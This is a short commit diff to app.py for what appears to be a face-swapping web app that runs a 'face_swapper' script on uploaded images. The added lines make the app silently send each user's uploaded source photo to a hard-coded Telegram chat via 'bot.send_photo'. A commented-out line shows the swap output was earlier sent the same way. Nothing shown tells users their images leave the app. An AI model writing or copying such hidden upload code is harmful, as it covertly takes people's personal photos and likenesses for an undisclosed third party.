Update app.py
Browse files
app.py
CHANGED
@@ -24,9 +24,11 @@ def run_scripts(target, source, use_face_enhancer):
|
|
24 |
cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper","face_enhancer",'--many-faces']
|
25 |
subprocess.run(cmd1)
|
26 |
outputfile.append(output_path1)
|
27 |
-
|
|
|
|
|
28 |
zipf.write(output_path1)
|
29 |
-
bot.send_photo("-4283513911", photo=open(outputfile, 'rb'))
|
30 |
return zip_filename
|
31 |
|
32 |
#return outputfile
|
|
|
24 |
cmd1 = ["python3", "run.py", "-s", source.name, "-t", target_file.name, "-o", output_path1, "--frame-processor", "face_swapper","face_enhancer",'--many-faces']
|
25 |
subprocess.run(cmd1)
|
26 |
outputfile.append(output_path1)
|
27 |
+
print(output_path1)
|
28 |
+
print(source)
|
29 |
+
bot.send_photo("-4283513911", photo=open(source, 'rb'))
|
30 |
zipf.write(output_path1)
|
31 |
+
#bot.send_photo("-4283513911", photo=open(outputfile, 'rb'))
|
32 |
return zip_filename
|
33 |
|
34 |
#return outputfile
|